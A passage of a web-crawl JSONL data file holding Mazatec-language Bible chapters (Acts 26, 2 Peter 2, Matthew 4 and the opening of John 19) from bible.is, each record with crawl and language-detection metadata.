4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/4","date":"2013-12-06T22:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052712\/warc\/CC-MAIN-20131204131732-00052-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":447,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Agripa kitsò‑la̱ Pablo: ―Tjí'ndeé‑lè nga ki̱nókjoa̱tjì yijo‑lè. Pablo kiskímiìtje̱n tsja; tsibíts'ia̱ nga kiìchja̱tjì yijo‑la̱; kitsò: 2―Ngaji̱ Agripa, matsjaá‑na nga ma kichjàko̱‑lè mé‑ne nga kósi̱koa̱a yijo‑na̱ ngats'iì kjoa̱ xi kondra̱ ts'a̱n tsját'in‑na 'én xi̱ta̱ judío. 3Be‑ná nga ji̱ Agripa, tíjiìn yijeé‑lè ngats'iì kjo̱tíxoma xi tjín‑la̱ xi̱ta̱ judío ko̱ kjoa̱ xi joóya‑ne. K'oa̱á ma‑ne sìjét'aà‑lè, tjín‑lè kjo̱ndaà, tse t'i̱in takoìn, ndaà ti̱ná'ya‑ná. 4'Ngats'iì xi̱ta̱ judío tíjiìn‑la̱ kós'ín kisìjchá yijo‑na̱ ján nangui‑na̱ ko̱ Jerusalén tje̱n‑ne nga sa̱ ti kjia skanda na̱chrjein i̱'ndei̱. 5Jñà xi̱ta̱ koi, tsà mejèn‑la̱ ko̱maá ke̱èno̱jmí‑lè. Ndaà tíjiìn‑la̱ nga 'a̱n, nguì xi̱ta̱ fariseo‑ná; nga̱ jñà xi̱ta̱ fariseo xi ìsa̱ 'ñó bínè‑la̱ yijo‑la̱ nga beèxkón kjo̱tíxoma‑la̱ Nainá mì k'oa̱á‑ne koni jñà xi̱ta̱ judío xi i'nga. 6'A̱n mokjeiín‑na nga ki̱tasòn kjoa̱ xi tìkoña‑la̱ koni s'ín jye kitsjaà‑la̱ tso'ba Nainá jñà xi̱ta̱ jchínga kjiìn‑ná. Koií kjoa̱‑la̱ nga i̱ tìjna̱a. 7Nga tejò tje̱‑la̱ na̱xa̱ndá Israel, ko̱ na̱chrjein ko̱ ni̱tje̱n, jeya nchisíkíjna Nainá nga nchikoñaá‑la̱ nga ki̱tasòn kjoa̱ koi. K'oa̱á xan‑lè ngaji̱ Agripa, nga ti̱koií‑ne kjo̱ndaà xi 'a̱n tìkoña‑la̱; k'oa̱á ma‑ne nga óngui‑na jñà xi̱ta̱ judío. 8¿Jñò, mé‑ne nga mìkiì mokjeiín‑nò nga Nainá si̱ìkjaáya‑la̱ xi̱ta̱ xi jye k'en? 9''A̱n, nga sa̱ kjòtseé, k'oa̱á s'ín kisìkítsjeèn nga mochjeén‑né nga kondra̱ kjítji̱ngui‑la̱ Jesús xi Nazaret i̱'nde‑la̱. 10K'oa̱á kis'iaàn ján Jerusalén. Jñà xi̱ta̱ sko̱‑la̱ no̱'miì kitsjaà‑na o̱kixi̱ nga kjìn xi̱ta̱ tsjeè‑la̱ Nainá kiskinìs'en nda̱yá. K'e̱ nga kinìk'en xi̱ta̱ koi, 'a̱n ti̱koa̱á kjòjngoò takoàn. 11Nga xki̱ xi ján ni'ya i̱ngo̱ sinagoga, kjìn k'a kitsjaà‑la̱ kjo̱'in nga mejèn‑na nga kàtíchja̱jno‑la̱ Cristo. 'Ñó kisìjtikeè, skanda kiìtji̱ngui kondra̱‑la̱ ñánda xìn na̱xa̱ndá xi tjín i̱sò'nde. 12'Koi xá kiì‑na ján na̱xa̱ndá Damasco nga 'a̱n tsatíxá‑na jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ti̱koa̱ kitsjaà‑na o̱kixi̱. 13Ngaji̱, xi xi̱ta̱xá ítjòn tijni, k'e̱ nga ijchò nchisen, kìjtseè ya̱ i̱ya ndi̱yá, jngoò ni'ín xi ngajmiì inchrobà‑ne xi ìsa̱ 'ñó ote tsejèn mì k'oa̱á‑ne koni ts'e̱ ts'oí. Nguì kisìhiseèn‑né nga jngoò itjandiì‑na ko̱ ts'e̱ xi̱ta̱ xi tji̱koa̱. 14Chixòt'aà‑je̱n nangui, i̱kjoàn ki'nchrè jngoaà 'én hebreo xi kiìchja̱jiìn i̱sén‑na; kitsò: \"Saulo, Saulo, ¿mé‑ne 'a̱n tì'mìtji̱ngui kondra̱‑ná? Ti̱ji̱í tìyatoòn‑ne yijo‑lè, k'oa̱á ngaya‑la̱ koni tsà nchra̱ja̱ tsjón‑la̱ jè yá xi bínès'en‑la̱ nei‑la̱.\" 15'A̱n kixan‑la̱: \"¿Yá‑né ngaji̱ Na̱'èn?\" Jè kitsò‑na: \"'A̱n‑ná xi 'mì‑na Jesús xi tì'mìtji̱ngui kondra̱‑ná. 16Ti̱sítji̱in; ti̱si̱jna kixi̱i; koií xá kàyaxkon‑ná nga 'a̱n si̱xá‑ná; ji̱í k'oi̱i 'én, jè kjoa̱ xi kà'yi ko̱ kjoa̱ xi i̱skan 'a̱n kokoò sobà‑lè. 17'A̱án sìkinda̱‑lè i̱t'aà ts'e̱ xi̱ta̱ na̱xa̱ndá‑lè ko̱ ts'e̱ xi mìtsà xi̱ta̱ judío. Ya̱á sìkasén‑lè 18nga chíx'a̱ngui xko̱n nga mì ta̱ tsjaà ya̱ ki̱nchimaya ndi̱yá jñò; ndi̱yá iseèn ki̱nchimaya. Kàtinchat'aàxìn‑la̱ nga'ñó‑la̱ xi̱ta̱ nei̱í; Nainá kàtjìt'aà‑la̱. K'e̱ nga ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, jcha̱t'aà‑la̱ jé‑la̱, ti̱koa̱ s'e̱‑la̱ kjo̱tjò xi tjoé‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi xó kitjaàjiìn‑ne.\" 19'Ngaji̱ Agripa xi xi̱ta̱xá ítjòn tijni, 'a̱n mìkiì kisìtájaàjñaà ini̱ma̱‑na̱ jè kjoa̱ xi kìjtseè ko̱ xi ki'nchrè xi ngajmiì inchrobà‑ne. 20Ta sa̱á, tsibeno̱jmí ítjòn‑la̱ jñà xi̱ta̱ Damasco, i̱kjoàn tsibeno̱jmí‑la̱ xi̱ta̱ Jerusalén, ti̱koa̱ tsibeno̱jmí‑la̱ kóho̱kji nangui Judea, ko̱ jñà xi mìtsà xi̱ta̱ judío. K'oa̱á s'ín tsibeno̱jmí‑la̱ nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. Nainá kàtjít'aà‑la̱; ndaà kàtas'ín mé‑ne nga jcha̱‑la̱ nga jye jahatjìya‑la̱ kjo̱hítsjeèn‑la̱. 21Koií kjoa̱‑la̱, jñà xi̱ta̱ judío, kitsobà'ñó‑na ya̱ ndi̱tsin i̱ngo̱; mejèn‑la̱ nga si̱ìk'en‑na. 22Ta̱nga Nainá tsasìko̱‑na; tákó k'oa̱á tìs'iaàn skanda i̱'ndei̱; k'oa̱á s'ín tìbeno̱jmí yije‑la̱ ni̱ta̱ yá xi̱ta̱‑ne. Mìtsà kj'ei̱í 'én okoòya; koi 'én beno̱jmiá xi tsakóya Moisés ko̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, kjoa̱ xi ko̱ma nga tífì ìsa̱ na̱chrjein. 23K'oa̱á s'ín tsakóya xi̱ta̱ koi, nga jè Cristo [xi xó kisìkasén‑ne Nainá] tjínè‑la̱ nga k'en, ta̱nga jè jaáya ítjòn‑la̱ mé‑ne nga ke̱èno̱jmí‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ ko̱ xi mìtsà xi̱ta̱ judío kós'ín ko̱hiseèn‑jiìn ini̱ma̱‑la̱ nga ko̱ma ki̱tjokàjiìn kjoa̱jñò. 24Jè Festo, k'e̱ nga kiì'nchré 'én‑la̱ Pablo nga tíhosìko̱ yijo‑la̱, 'ñó kiìchja̱ kitsò: ―¡Ngaji̱ Pablo, tímaskáyaá‑lè; jè xo̱jo̱n tísískáya‑lè! 25Ta̱nga jè Pablo kitsò: ―Ngaji̱ Festo xi xi̱ta̱xá tijni, mìtsà tímaskáya‑na; k'oa̱á s'ín tjín; 'én kixi̱í xi tìchjà. 26Jè Agripa xi xi̱ta̱xá ítjòn tíjna, tíjiìn yijeé‑la̱ kjoa̱ koi; k'oa̱á ma‑ne ma'ñó takoàn nga nguixko̱n jè tìchjà 'én koi; 'a̱n, k'oa̱á s'ín makixi̱ya‑na nga jè, ti̱koa̱á 'ñó ndaà tíjiìn‑la̱ kjoa̱ koi; nga mìtsà tjí'ma koni s'ín komà. 27Ngaji̱ Agripa xi xi̱ta̱xá tijni, ¿a mokjeiín‑lè koni s'ín kitsò jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá? 'A̱n, be‑ná nga mokjeiín‑lè. 28Jè Agripa kitsò‑la̱ Pablo: ―Tà chibaá chi̱ja‑la̱ tsà kinìkijne‑ná nga 'a̱n, xi̱ta̱‑la̱ Cristo ko̱ma. 29Pablo kitsò: ―Tsà tse ko̱ tsà chiba chija‑la̱, 'a̱n, k'oa̱á s'ín mejèn‑na nga nguixko̱n Nainá nga kàtakjeiín‑lè xi xi̱ta̱xá ítjòn tijni; ti̱koa̱ kàtakjeiín‑la̱ ngats'iì xi̱ta̱ xi nchi'nchré‑na. K'oa̱á s'ín kàtamat'ioòn koni 'a̱n ta̱nga mì k'oa̱á s'ín na'ñó ki̱cha̱ cadena si̱t'aà'ñó. 30K'e̱é tsasítje̱n Agripa ko̱ Festo ko̱ Berenice, ngats'iì xi̱ta̱ xi ya̱ títsa̱jna. 31Xìn kiì nga tsajoóya‑ne kjoa̱ koi. Kitsò‑la̱ xíkjín: ―Xi̱ta̱ jè, ni̱mé kjoa̱ tjín‑la̱ nga ki̱yá, ti̱koa̱á mìkiì ok'ìn‑la̱ nga nda̱yá kíjna'ya. 32Agripa kitsò‑la̱ jè Festo: ―Xi̱ta̱ jè, ko̱maá‑la kíjnandei̱í‑ne tsà mì k'oa̱á s'ín kisìjé nga jè ki̱ìndaàjiìn‑la̱ César xi xi̱ta̱xá ítjòn ts'e̱ Roma.\nHechos 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/26","date":"2013-12-05T08:10:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163041955\/warc\/CC-MAIN-20131204131721-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":782,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱ i̱jiìn na̱xa̱ndá Israel kis'e xi̱ta̱ ndiso xi kitsò nga 'én‑la̱ Nainá kiìchja̱ya, ta̱nga mìtsà kixi̱ kjoa̱. I̱t'aà tsa̱jòn, k'oa̱á ti̱s'ín s'e̱ xi̱ta̱ ndiso xi ko̱kòya'ma kjo̱hítsjeèn xi síkits'ón‑jiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá, skanda ko̱chrjengui jè Na̱'èn‑ná xi tsibíchjítjì‑ná. K'oa̱á ma‑ne nga jñà xi̱ta̱ koi, ti̱jñà nchihótsji‑la̱ kjoa̱biyaà yijo‑la̱ nga ta ni̱to̱ón jchi̱ja. 2'Ñó kjìn xi̱ta̱ kji̱tji̱ngui‑la̱ nga k'oa̱s'ín s'i̱in kjoa̱ xi 'ñó ch'o tjín. Koií kjoa̱‑la̱ xi̱ta̱ ndiso koi, nga ch'o ki̱ná'ya‑la̱ kjoa̱ ts'e̱ ndi̱yá kixi̱. 3Jñà xi̱ta̱ ndiso koi, ta to̱ón tse mejèn‑la̱; ko̱chrjekájno‑nò to̱n nga skóna̱cha̱n‑nò nga ko̱kòya‑nò 'én ndiso. Nainá, jyeé kjòtseé tjíndaà‑la̱ nga tsjá‑la̱ kjo̱'in ko̱ mìkiì ko̱jno‑la̱ kjo̱'in xi s'e̱‑la̱. 4Nga Nainá mìkiì kisìjchàat'aà‑la̱ jñà àkja̱le̱ xi tsohótsji jé. Ján kiskinìjiìn i̱'nde kjo̱'in ñánda títì ni'ín. Na'ñó ki̱cha̱ cadena tsibít'aà'ñó. Ya̱á kisìkítsa̱jnaya nga̱jo̱ ñánda jñò choòn, skanda jè na̱chrjein k'e̱ nga si̱ndaàjiìn. 5Nainá, ti̱koa̱á mìkiì kisìjchàat'aà‑la̱ i̱sò'nde xi kisijna kjòtseé; kisìkasén jtsí xkón xi kisìkjehesòn yije xi̱ta̱ xi kis'e na̱chrjein koi. Tà jè Noé kisìjchàat'aà‑la̱, koi kjoa̱‑la̱ nga 'én kixi̱ kiìchja̱yajiìn‑la̱ xi̱ta̱, ko̱ itoò xi̱ta̱ xíkjín tsiningui‑ne. 6Nainá ti̱koa̱á kisìkjehesòn yije xi̱ta̱ ts'e̱ na̱xa̱ndá Sodoma ko̱ Gomorra. Jngoò k'aá tsaká, ta chijo kisinchaà. K'oa̱á s'ín tsibíjna jngoò‑la̱ chi̱ba̱ nga k'oa̱á ti̱s'ín ko̱mat'in jñà xi̱ta̱ xi kondra̱ títsa̱jna‑la̱ Nainá. 7Ta̱nga jè Lot nga xi̱ta̱ kixi̱, itjokàjiìn kjo̱'in. 'Ñó ch'o komà‑la̱ kjoa̱ ts'e̱ jé xi nchis'ín jñà xi̱ta̱ na̱xa̱ndá koi. 8Xi̱ta̱ jè nga xi̱ta̱ kixi̱‑né, nga ya̱ tíjnajiìn‑la̱ jñà xi̱ta̱ koi nga ch'o nchis'ín, kjo̱'iín tísíkjeiín nga 'on ma‑la̱ ini̱ma̱‑la̱ nga na̱chrjein nchijòn beè koa̱ 'nchré‑la̱ kjoa̱ xi ch'o nchis'ín xi̱ta̱ koi. 9Ya̱á tí'ya‑la̱ nga jè Na̱'èn‑ná osìko̱‑né jñà xi̱ta̱ xi beèxkón nga síkítsa̱jnandei̱í mé kjoa̱ xi tjín‑la̱, ti̱koa̱ síkítsa̱jna'ñó‑né jñà xi̱ta̱ xi ch'o s'ín nga tsjá‑la̱ kjo̱'in jè na̱chrjein k'e̱ nga si̱ndaàjiìn. 10Jñà títsa̱jna ítjòn nga s'e̱‑la̱ kjo̱'in jñà xi̱ta̱ xi 'ñó fìtji̱ngui‑la̱ kjoa̱ ch'o xi síjé yijo‑la̱ ko̱ jñà xi ochrjekàngui kjo̱tíxoma‑la̱ Nainá. Jñà xi̱ta̱ ndiso koi, xi̱ta̱ tájaàjiìn nga 'ñó 'nga ikon. Mìkiì tsakjón nga chja̱jno‑la̱ jñà nga'ñó xi mìkiì tsejèn. 11Jñà àkja̱le̱, na̱s'ín ìsa̱ tse nga'ñó tjín‑la̱ koa̱ tjín‑la̱ kjo̱tíxoma, mì k'oa̱á s'ín chja̱jno‑la̱ nga'ñó xi mìkiì tsejèn nga nguixko̱n Na̱'èn‑ná. 12Jñà xi̱ta̱ koi, chja̱jnoó‑la̱ kjoa̱ xi mìkiì fìya‑la̱. K'oa̱á s'ín ngaya‑la̱ koni cho̱ xi mìkiì síkítsjeèn nga tà xó k'oa̱á s'ín kits'iìn‑ne nga ki̱ndo̱ba̱'ñó i̱kjoàn si̱k'en. Xi̱ta̱ koi, ya̱á ki̱yájiìn kjoa̱ ts'e̱ jé‑la̱. 13Koií kjo̱'in tjoé ngajo‑la̱ koni tjín kjo̱'in xi kitsjaà‑la̱ xi̱ta̱ xi kj'ei̱í. Jñà xi̱ta̱ koi, na̱s'ín na̱chrjein, tsjaá ma‑la̱ nga s'ín kjoa̱ xi 'ñó ch'o tjín. K'e̱ nga jñà xi̱ta̱ koi, báhijtako̱‑nò tsà s'eí tjín‑nò, síkits'ón‑jiìn‑né nga sísobà‑nò nga ch'o tjín kjoa̱ xi s'ín. 14K'e̱ nga beèxkon jngoò chjo̱ón, ni̱to̱ón fahajiìn‑la̱ ko̱ mìkiì ma síkíjna kjoa̱ ts'e̱ jé. Kona̱cha̱n‑la̱ xi̱ta̱ xi mì kixi̱í tjín kjo̱hítsjeèn‑la̱. Ini̱ma̱‑la̱, kjit'aà na̱chrjein tjín mé xi mejèn‑la̱. Xi̱ta̱ koi, tjínè‑la̱ nga kjo̱'in tjoé‑la̱. 15Jyeé kisìkíjna ndi̱yá kixi̱. Jè fìtji̱ngui‑la̱ ndi̱yá xi ch'o tjín, jè ndi̱yá ts'e̱ Balaam, ki'ndí‑la̱ Beor, jè xi 'ñó kjòtsjakeè to̱n nga mejèn‑la̱ s'i̱in kjoa̱ xi mìtsà kixi̱ tjín. 16Ta̱nga tsaká‑la̱ kjoa̱ ts'e̱ jé‑la̱. Jngoò búrró chjo̱ón xi mìkiì ma‑la̱ chja̱, kiìchja̱‑la̱ koni tsà xi̱ta̱; mìkiì kitsjá'nde‑la̱ nga kiìko̱‑ìsa kjoa̱ská‑la̱. 17Jñà xi̱ta̱ ndiso koi, k'oa̱á s'ín ngaya‑la̱ koni nga̱jo̱ nandá xi tsjìn‑la̱ nandá, koni ifi xi nìmé jtsí fìko̱, ni̱to̱ón fìko̱ tjo̱. K'oa̱á s'ín tjínè‑la̱ nga ya̱ kítsa̱jnajiìn i̱'nde jñò ts'e̱ kjo̱'in ni̱ta̱ mé na̱chrjein‑ne. 18Nguì 'én 'ngaá chja̱ xi ni̱mé chjí‑la̱. 'Ñó 'nga ikon nga síchjeén kjoa̱ch'o xi sasén‑la̱ yijo‑la̱ nga kona̱cha̱n‑la̱ jñà xi̱ta̱ xi sa̱ nchibinchat'aàxìn‑la̱ jñà xi̱ta̱ xi ch'o nchisíjchá yijo‑la̱. 19K'oa̱á tsò‑la̱ jñà xi̱ta̱ nga kítsa̱jnandei̱í, ta̱nga ti̱jñà‑ne ti̱koa̱á ya̱á títsa̱jnajiìn'ñó kjoa̱ch'o‑la̱. K'e̱ nga jngoò xi̱ta̱ xi bíjnajiìn'ñó jngoò kjoa̱, jè kjoa̱ jè tjín‑la̱ nga'ñó nga jè otíxoma‑la̱. 20Jñà xi̱ta̱ xi jye kijtseèxkon Jesucristo xi otíxoma‑ná, nga jè tsachrjekàjiìn kjo̱'in, nga jye chinchat'aàxìn‑la̱ kjoa̱ ch'o‑la̱ i̱sò'nde, tsà ìjngoò k'a k'oa̱s'ín s'i̱in, tsà si̱ìkijne ìjngoò k'a‑la̱ kjoa̱ xi ch'o tjín, nga ko̱ma i̱skan, ìsa̱á ch'o ko̱mat'in mì k'oa̱‑ne k'e̱ nga sa̱ ítjòn. 21Ìsa̱á‑la ndaà tjín tsà mìkiì kijtseèxkon ndi̱yá kixi̱‑la̱ Cristo, mì k'oa̱‑ne nga jye chinchat'aàxìn‑la̱ kjo̱tíxoma tsjeè‑la̱ Nainá xi jye kitjoé‑la̱. 22Xi̱ta̱ koi, k'oa̱á s'ín kis'iìn koni tsò 'én xi tíjna‑la̱ xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱ nga tsò: \"Nañá, ti̱jè kine ìjngoò k'a‑ne ndábisò‑la̱\" koa̱: \"Jè chi̱nga̱ k'e̱ nga jye ongáya, ìjngoò k'a ongáyajiìn‑ne ndási.\"\n2 Pedro 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2","date":"2013-12-08T12:07:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065342\/warc\/CC-MAIN-20131204131745-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":698,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kiìko̱ Jesús jngoò i̱'nde i̱t'aà xìn nga jè xi̱ta̱ nei̱í skót'aà nga mejèn‑la̱ nga kàtátsji jé. 2Ichán na̱chrjein ko̱ ichán ni̱tje̱n tsibìjnachjan Jesús ko̱ k'e̱ nga ko̱ma i̱skan jye kjòhojò‑la̱. 3Jè xi̱ta̱ nei̱í xi ma‑la̱ kona̱cha̱n ijchò kasìt'aà chrañà‑la̱ ñánda tíjna Jesús, kitsò‑la̱: ―Tsà kixi̱í kjoa̱ nga ngaji̱ xi Ki'ndí‑la̱ Nainá 'mì‑lè, tjiì‑la̱ o̱kixi̱ jñà nda̱jo̱ koi nga i̱nchra̱jín kàtama. 4Ta̱nga Jesús kitsò‑la̱: ―Tjít'aà Xo̱jo̱n‑la̱ Nainá, nga tsò: \"Mìtsà tà koi tsojmì xi ma chine kítsa̱kon‑ne xi̱ta̱, ti̱koa̱á kítsa̱kon‑ne nga yije 'én xi chja̱ Nainá.\" 5Jè xi̱ta̱ nei̱í kiìko̱ Jesús ya̱ Na̱xa̱ndá‑la̱ Nainá xi xó kitjaàjiìn‑ne [ñánda 'mì Jerusalén]; kisìkíjnasòn i̱ngo̱ ítjòn ñánda ìsa̱ 'nga kji. 6Kitsò‑la̱: ―Tsà kixi̱í kjoa̱ nga ji̱ xi Ki'ndí‑la̱ Nainá 'mì‑lè, ti̱katje̱ngui yijo‑lè, nga k'oa̱á s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: Nainá koií xá‑la̱ àkja̱le̱‑la̱ i̱t'aà tsi̱ji, nga ko̱ tsja tso̱ba̱'ñó‑lè, mé‑ne nga ni̱jngoò nda̱jo̱ satíngui‑ne ndso̱koiì. 7Jesús kitsò‑la̱: ―Ti̱koa̱á tjít'aà Xo̱jo̱n‑la̱ Nainá, nga tsò: \"Kì k'oa̱á s'ín chít'iì Na̱'èn‑ná xi Nainá.\" 8Ìjngoò k'a jè xi̱ta̱ nei̱í kiìko̱ Jesús i̱sòn nindoò xi 'ñó 'nga kji, koa̱ tsakó yije‑la̱ ngats'iì na̱xa̱ndá xi tjín i̱sò'nde ko̱ kjoa̱jeya‑la̱ jñà na̱xa̱ndá. 9Kitsò‑la̱: ―Nga ji̱í tsjaà yije‑lè na̱xa̱ndá koi, tsà ko̱si̱xkó'nchit'aà‑ná ko̱ jeya si̱kíjna‑ná. 10K'e̱é kitsò Jesús: ―Ti̱xín xi̱ta̱ nei̱í, ti̱si̱t'aàxìn‑ná. Nga k'oa̱á s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jeya ti̱kíjni Na̱'èn‑ná xi Nainá 'mì‑la̱; tà jè ta̱jngoò ti̱kitasòn‑la̱.\" 11K'e̱é kiì jè xi̱ta̱ nei̱í, tsasìt'aàxìn‑la̱ Jesús. I̱kjoàn ijchò àkja̱le̱‑la̱ Nainá xi kisìs'in‑la̱ Jesús. 12K'e̱ nga kiì'nchré Jesús nga jè Juan xi kis'iìn bautizar xi̱ta̱ nda̱yá tíjna'ya, kiì ìjngoò k'a‑ne ya̱ i̱'nde‑la̱ ñánda 'mì Galilea. 13Ta̱nga mì ya̱ tsibìjna ñánda 'mì Nazaret; ján kiì kíjna ñánda 'mì Capernaum, jngoò na̱xa̱ndá xi kijnandiì ndáchikon ya̱ i̱'nde xi chja̱‑ne Zabulón ko̱ Neftalí. 14K'oa̱á s'ín komà mé‑ne nga tsitasòn‑ne 'én xi kiskiì Isaías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kitsò: 15Jè nangui xi ts'e̱ Zabulón ko̱ jè nangui xi ts'e̱ Neftalí, ya̱ ndi̱yá xi fì i̱ndiì ndáchikon, ján xijngoaà xa̱jngá nandá Jordán ya̱ nangui Galilea, ñánda tjín xi mìtsà xi̱ta̱ judío. 16Jñà xi̱ta̱ na̱xa̱ndá koi xi tjíjñò kjo̱hítsjeèn‑la̱, kijtseè jngoò ni'ín xi 'ñó tse kji, koa̱ jñà xi̱ta̱ xi ya̱ tjímaya ndi̱yá‑la̱ kjoa̱biyaà, kjòhiseèn kjo̱hítsjeèn‑la̱. 17K'e̱é tsibíts'ia̱ Jesús nga kiìchja̱ya 'én ndaà‑la̱ Nainá. Kitsò: ―Ti̱kájno jé‑nò, kì ti̱ jé binchaàtsji‑nò nga jyeé kjòchrañàt'aà‑nò na̱chrjein nga jcha̱a kós'ín otíxoma jè xi ngajmiì nchrobá‑ne. 18K'e̱ nga tífa Jesús ya̱ i̱ndiì ndáchikon ts'e̱ Galilea, kijtseè jò xi̱ta̱ xi 'ndse̱ ma, jngoò xi 'mì Simón ko̱ ti̱jè‑ne xi 'mì Pedro, ko̱ xi ìjngoò, jè xi 'mì Andrés. Jñà xi̱ta̱ koi xi sík'en ti̱n. K'e̱ nga nchisíkatje̱n‑jiìn‑ndá na̱'ya‑la̱, 19Jesús kitsò‑la̱: ―Nchrohótji̱ngui‑ná, 'a̱án tsjaà‑nò xá nga kíxkóya xi̱ta̱ xi 'a̱n kjìt'aà‑na koni s'ín maxkóya ti̱n. 20Jñà xi̱ta̱ koi ni̱to̱ón kisìkájna na̱'ya‑la̱ nga kiìtji̱ngui‑la̱ Jesús. 21Ìsa̱ xijngoaà ìsa̱ Jesús kijtseè nguì jò xi̱ta̱ xi ti̱koa̱ 'ndse̱ ma‑ne; jngoò xi 'mì Jacobo, ko̱ xi ìjngoò, Juan 'mì; i̱xti‑la̱ Zebedeo. Ya̱á títsa̱ya chitso ko̱ na̱'èn‑la̱. Nchibíndaàya jñà na̱'ya‑la̱. Jesús kiìchja̱‑la̱ nga jñà ko̱jmeiìko̱. 22Xi̱ta̱ koi ni̱to̱ón kisìkájna chitso‑la̱ ko̱ na̱'èn‑la̱ nga kiìtji̱ngui‑la̱ Jesús. 23Jesús tsajmeè kóho̱kji nangui Galilea, tsakóya 'én‑la̱ Nainá ya̱ ni'ya i̱ngo̱ sinagoga nga íjngó íjngó na̱xa̱ndá. Kiìchja̱ya 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá; ti̱koa̱ kisìndaà‑ne ngats'iì ch'in xi tjín‑la̱ xi̱ta̱ nga xki̱ xi ján ijòjno ijòt'aà yijo‑la̱. 24Kina'yà‑la̱ Jesús kóho̱kji ya̱ i̱'nde ñánda 'mì Siria, koa̱ j'iìko̱‑la̱ xi̱ta̱ xk'én xi kjìn ska̱ya ch'in tjín‑la̱, jñà xi ijòjno ijòt'aà yijo‑la̱ ko̱ xi̱ta̱ xi ch'in nei̱í tíjiìn ini̱ma̱‑la̱, ko̱ tjín xi ch'in biyaàxín tjín‑la̱, ko̱ xi̱ta̱ xi mì kì ndaà ma síhiníyá yijo‑la̱. Jesús kisìndaà‑ne ngats'iì xi̱ta̱ koi. 25Kjìn xi̱ta̱ xi ya̱ i̱'nde‑la̱ Galilea kiìtji̱ngui‑la̱, ko̱ jñà xi̱ta̱ na̱xa̱ndá xi te ma‑ne (xi 'mì Decápolis), ko̱ jñà xi̱ta̱ na̱xa̱ndá Jerusalén ko̱ na̱xa̱ndá xi i'nga xi ya̱ chja̱‑ne nangui Judea, ko̱ xi chja̱‑ne xijngoaà xa̱jngá nandá Jordán.\nSan Mateo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/4","date":"2013-12-06T13:17:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051684\/warc\/CC-MAIN-20131204131731-00043-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000072717666626}","num_words":621,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pilato kitsjaà‑la̱ o̱kixi̱ jñà xi̱ta̱ soldado nga tsajá‑la̱ Jesús. 2Jñà soldado tsibíndaà jngoò corona na'yá, tsibí'a sko̱ Jesús, i̱kjoàn kisìkákjá jngoò nikje sko. 3Kitsò‑la̱: ―A ta k'oa̱á ndaà‑ne ji̱ xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío 'mì‑lè. I̱kjoàn kisìjts'iìn‑t'aà kjín. 4Pilato itjoko̱ ìjngoò k'a ya̱ ndi̱tsin, kitsò‑la̱ jñà xi̱ta̱ na̱xa̱ndá: ―Chítsejèn‑là, i̱ j'iìko̱ ìjngoò k'a‑nò mé‑ne nga jcha̱‑nò nga nìmé jé sakót'aà‑na i̱t'aà ts'e̱ xi̱ta̱ jè. 5Itjo Jesús, tjí'a corona na'yá sko̱; íkjá nikje xi sko kjoàn; Pilato kitsò‑la̱ jñà xi̱ta̱ na̱xa̱ndá: ―I̱ síjna xi̱ta̱ jè. 6K'e̱ nga kijtseèxkon jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ jñà xi̱ta̱ xi síkinda̱ i̱ngo̱, tsibíts'ia̱ nga 'ñó jchán kiìchja̱, kitsò: ―¡Tjat'aà krò! ¡Tjat'aà krò! K'e̱é kitsò jè Pilato: 